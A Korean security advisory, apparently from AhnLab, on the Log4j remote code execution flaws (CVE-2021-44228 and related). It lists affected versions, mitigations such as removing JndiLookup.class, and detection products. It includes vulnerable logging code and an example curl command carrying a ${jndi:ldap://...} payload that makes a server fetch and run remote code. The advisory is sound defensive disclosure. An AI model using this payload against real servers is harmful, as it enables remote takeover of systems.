1. 취약점 대상 및 버전
다음의 조건들의 제품들은 해당 취약점의 영향을 받는다.
- Apache Log4j 2.0-beta9 ~ 2.12.1 및 2.13.0 ~ 2.15.0 버전
- Apache Log4j 1.2.x의 모든 버전
2. 취약점 공격 방법
Log4j 를 이용하는 서비스에서 user-agent 로 전송된 문자열을 로그로 기록하는 코드가 포함된 경우 다음과 같이 공격할 수 있다.
[서버 소스 코드 일부]
static Logger log = LogManager.getLogger(VulnerableLog4jExampleHandler.class.getName());
...
String userAgent = he.getRequestHeader("user-agent");
String response = "<h1>Hello There, " + userAgent + "!</h1>";
log.error("Request User Agent:{}", userAgent);
...
[취약점 공격]
xxx.xxx.xxx.xxx/a 에 위치한 자바 객체를 자동으로 서버에서 실행 시키는 공격
ex) # curl 127.0.0.1:8080 -H ‘X-Api-Version: ${jndi:ldap://xxx.xxx.xxx.xxx/a}’
3. 해결된 취약점
- Log4j 2.x 버전에서 공격자가 로그 메세지를 통해 원격 코드 실행이 가능한 취약점 (CVE-2021-44228, CVSS 10.0)
- Log4j 2.x 버전에서 공격자가 로그 메세지를 통해 서비스 거부 오류(Denied of Service)를 발생시킬 수 있는 취약점 (CVE-2021-45046, CVSS 3.7)
- Log4j 1.2.x 버전에서 공격자가 로그 메세지를 통해 원격 코드 실행이 가능한 취약점 (CVE-2021-4104)
4. 취약점 대응방안
1) 2021년 12월 14일 업데이트를 통해 취약점 패치가 다음과 같이 제공
- Log4j 2.16.0 이상 최신버전 (Java8 이상) : https://logging.apache.org/log4j/2.x/download.html
- Log4j 2.12.2 버전 (Java 7) : 제공 예정
2) Log4j 패치가 어려운 경우 취약점 완화 적용 방안 (ATIP 보안권고문 참조)
- 버전 : Log4j 2.0-beta9 이상 2.15.0 이하 버전 (Log4j 2.12.2 버전 제외)
JndiLookup 클래스를 다음과 같이 제거
# zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
- 버전 : Log4j 1.x 버전
Log4j 1.x에서 JMSAppender 사용 여부 확인 후 해당 기능을 중지
5. 안랩 제품 대응현황
AhnLab에서는 TG/IPX, AIPS, HIPS 제품을 통해 해당 취약점 탐지가 가능하다.
연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

참조 1) https://www.boho.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389
참조 2) https://atip.ahnlab.com/ti/contents/security-advisory?i=0a053796-66db-4ce0-9c30-d3c19060670e
Categories:조치 가이드